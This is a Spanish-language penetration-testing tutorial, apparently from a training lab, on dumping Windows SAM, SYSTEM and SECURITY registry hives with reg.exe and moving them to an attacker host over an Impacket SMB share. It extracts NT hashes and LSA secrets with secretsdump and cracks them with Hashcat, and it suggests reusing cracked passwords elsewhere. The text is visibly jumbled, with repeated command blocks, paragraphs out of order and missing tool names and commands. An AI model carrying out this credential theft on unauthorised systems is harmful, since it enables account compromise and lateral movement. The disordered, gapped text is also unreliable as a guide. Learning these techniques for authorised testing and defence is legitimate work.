En esta sección veremos varias técnicas de ataques de contraseñas contra la base de datos SAM (Security Accounts Manager) en sistemas Windows.
Con acceso a un sistema Windows sin dominio, podemos beneficiarnos al intentar volcar rápidamente los archivos asociados con la base de datos SAM para transferirlos a nuestro host de ataque y comenzar a descifrar hashes sin conexión. Hacer esto sin conexión garantizará que podamos continuar intentando nuestros ataques sin mantener una sesión activa con un objetivo. Repasemos este proceso juntos utilizando un host de ejemplo.
Copiar colmenas del registro SAM
Hay tres colmenas de registro que podemos copiar si tenemos acceso de administrador local en el destino; cada uno tendrá un propósito específico cuando lleguemos a desechar y descifrar los hashes. Aquí hay una breve descripción de cada uno en la siguiente tabla:
Colmena de registro
Descripción
hklm\sam
Contiene los hash asociados con las contraseñas de las cuentas locales. Necesitaremos los hashes para poder descifrarlos y obtener las contraseñas de las cuentas de usuario en texto sin cifrar.
hklm\system
Contiene la clave de arranque del sistema, que se utiliza para cifrar la base de datos SAM. Necesitaremos la clave de arranque para descifrar la base de datos SAM.
hklm\security
Contiene credenciales almacenadas en caché para cuentas de dominio. Podemos beneficiarnos de tener esto en un destino de Windows unido a un dominio.
Podemos crear copias de seguridad de estas colmenas usando reg.exe
Usando reg.exe
Iniciar CMD como administrador nos permitirá ejecutar reg.exe para guardar copias de las colmenas de registro antes mencionadas. Ejecute estos comandos a continuación para hacerlo:
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
The operation completed successfully.
Creando un recurso compartido con smbserver.py
Todo lo que debemos hacer para crear el recurso compartido es ejecutar smbserver.py -smb2support usando Python, darle un nombre al recurso compartido (CompData) y especificar el directorio en nuestro host de ataque donde el recurso compartido almacenará las copias de la colmena ( /home/kali/Descargas).
Una vez que tengamos el recurso compartido ejecutándose en nuestro host de ataque, podemos usar el comando move en el host Windows para mover las copias de la colmena al recurso compartido.
Luego podemos confirmar que nuestras copias de la colmena se movieron exitosamente al recurso compartido navegando al directorio compartido en nuestro host de atacante y usar ls para enumerar los archivos.
Confirmación de copias de colmena transferidas al host de atacante
afsh4ck@kali$ Descargas/ ls
sam.save security.save system.save
Volcado de hashes con secretsdump.py de Impacket
Una herramienta increíblemente útil que podemos usar para volcar los hashes sin conexión es Impacket secretsdump.py. Impacket se puede encontrar en la mayoría de las distribuciones de pruebas de penetración modernas. Podemos verificarlo usando locateen un sistema basado en Linux:
Localizando secretsdump.py
afsh4ck@kali$ locate secretsdump
Usar secretsdump.py es un proceso simple. Todo lo que debemos hacer es ejecutar secretsdump.py usando Python y luego especificar cada archivo de colmena que recuperamos del host de destino.
Ejecutando secretsdump.py
afsh4ck@kali$ impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x4d8c7cff8a543fbf245a363d2ffce518
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3dd5a5ef0ed25b8d6add8b2805cce06b:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:683b72db605d064397cf503802b51857:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
sam:1002:aad3b435b51404eeaad3b435b51404ee:6f8c3f4d3869a10f3b4f0522f537fd33:::
rocky:1003:aad3b435b51404eeaad3b435b51404ee:184ecdda8cf1dd238d438c4aea4d560d:::
ITlocal:1004:aad3b435b51404eeaad3b435b51404ee:f7eb9c06fafaa23c4bcf22ba6781c1e2:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0xb1e1744d2dc4403f9fb0420d84c3299ba28f0643
dpapi_userkey:0x7995f82c5de363cc012ca6094d381671506fd362
[*] NL$KM
0000 D7 0A F4 B9 1E 3E 77 34 94 8F C4 7D AC 8F 60 69 .....>w4...}..`i
0010 52 E1 2B 74 FF B2 08 5F 59 FE 32 19 D6 A7 2C F8 R.+t..._Y.2...,.
0020 E2 A4 80 E0 0F 3D F8 48 44 98 87 E1 C9 CD 4B 28 .....=.HD.....K(
0030 9B 7B 8B BF 3D 59 DB 90 D8 C7 AB 62 93 30 6A 42 .{..=Y.....b.0jB
NL$KM:d70af4b91e3e7734948fc47dac8f606952e12b74ffb2085f59fe3219d6a72cf8e2a480e00f3df848449887e1c9cd4b289b7b8bbf3d59db90d8c7ab6293306a42
[*] Cleaning up...
Aquí vemos que secretsdump vuelca exitosamente los hashes locales de SAM y también habría volcado la información de inicio de sesión del dominio almacenada en caché si el objetivo estuviera unido a un dominio y tuviera credenciales almacenadas en caché presentes en hklm\security. Observe que el primer paso que ejecuta secretsdump es apuntar al archivo system bootkey antes de proceder a volcar el archivo LOCAL SAM hashes. No puede volcar esos hashes sin la clave de inicio porque esa clave de inicio se usa para cifrar y descifrar la base de datos SAM, por lo que es importante para nosotros tener copias de las colmenas del registro que analizamos anteriormente en esta sección. Observe en la parte superior de la salida de secretsdump.py:
Dumping local SAM hashes (uid:rid:lmhash:nthash)
Esto nos dice cómo leer el resultado y qué hashes podemos descifrar. La mayoría de los sistemas operativos Windows modernos almacenan la contraseña como un hash NT. Los sistemas operativos anteriores a Windows Vista y Windows Server 2008 almacenan las contraseñas como un hash LM, por lo que solo podemos beneficiarnos de descifrarlas si nuestro objetivo es un sistema operativo Windows más antiguo.
Sabiendo esto, podemos copiar los hash NT asociados con cada cuenta de usuario en un archivo de texto y comenzar a descifrar contraseñas. Puede ser beneficioso tomar nota de cada usuario, para que sepamos qué contraseña está asociada con cada cuenta de usuario.
Cracking de Hashes con Hashcat
Como se mencionó anteriormente, podemos completar un archivo de texto con los hashes NT que pudimos volcar.
Consideraciones sobre el volcado remoto y LSA Secrets
Con acceso a las credenciales con local admin privileges, también nos es posible apuntar a LSA Secrets a través de la red. Esto podría permitirnos extraer credenciales de un servicio en ejecución, una tarea programada o una aplicación que utilice secretos LSA para almacenar contraseñas.
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
The operation completed successfully.
Después vamos a transferir los archivos a nuestra máquina de atacante. Lo primero vamos a crear un reecurso compartido con impacket:
Una vez que tengamos el recurso compartido ejecutándose en nuestro host de ataque, podemos usar el comando move en el host Windows para mover las copias de la colmena al recurso compartido.
Como estamos en la misma red por VPN, vamos a transferir los archivos de la siguiente manera:
Técnicamente solo necesitaremos hklm\sam y hklm\system, pero hklm\security también puede ser útil guardarlo, ya que puede contener hashes asociados con las credenciales de cuentas de usuario de dominio almacenadas en caché presentes en hosts unidos a un dominio. Una vez que las colmenas se guardan sin conexión, podemos usar varios métodos para transferirlas a nuestro host de ataque. En este caso, usemos en combinación con algunos comandos CMD útiles para mover las copias de la colmena a un recurso compartido creado en nuestro host de ataque.
La opción smb2support garantizará que se admitan las versiones más recientes de SMB. Si no utilizamos este indicador, habrá errores al conectarnos desde el objetivo de Windows al recurso compartido alojado en nuestro host de ataque. Las versiones más recientes de Windows no son compatibles con SMBv1 de forma predeterminada debido a las y exploits disponibles públicamente.
Una vez que tengamos los hashes, podemos comenzar a intentar descifrarlos usando . Lo usaremos para intentar descifrar los hashes que hemos recopilado. Si echamos un vistazo al sitio web de Hashcat, notaremos compatibilidad con una amplia gama de algoritmos hash. En este módulo, utilizamos Hashcat para casos de uso específicos. Esto debería ayudarnos a desarrollar la mentalidad y la comprensión para usar Hashcat, así como también saber cuándo debemos consultar la documentación de Hashcat para comprender qué modo y opciones debemos usar según los hash que capturemos.
Hashcat tiene muchos modos diferentes que podemos usar. La selección de un modo depende en gran medida del tipo de ataque y del tipo de hash que queremos descifrar. Cubrir cada modo está más allá del alcance de este módulo. Nos centraremos en utilizar -m para seleccionar el tipo de hash 1000 para descifrar nuestros hashes NT (también conocidos como hashes basados en NTLM). Podemos consultar de Hashcat o la página de manual para ver los tipos de hash admitidos y su número asociado. Usaremos la lista de palabras rockyou.txt:
Podemos ver en el resultado que Hashcat utilizó un tipo de ataque llamado para adivinar rápidamente las contraseñas utilizando una lista de contraseñas conocidas (rockyou.txt) y logró descifrar 3 de los hashes. Tener las contraseñas nos podría ser útil de muchas maneras. Podríamos intentar utilizar las contraseñas que desciframos para acceder a otros sistemas de la red. Es muy común que las personas reutilicen contraseñas en diferentes cuentas personales y laborales. Conocer esta técnica que cubrimos puede ser útil en compromisos. Nos beneficiaremos al usar esto cada vez que nos encontremos con un sistema Windows vulnerable y obtengamos derechos de administrador para volcar la base de datos SAM.
Tenga en cuenta que esta es una técnica bien conocida, por lo que los administradores pueden tener medidas de seguridad para prevenirla y detectarla. Podemos ver algunas de estas formas dentro del marco de ataque MITRE.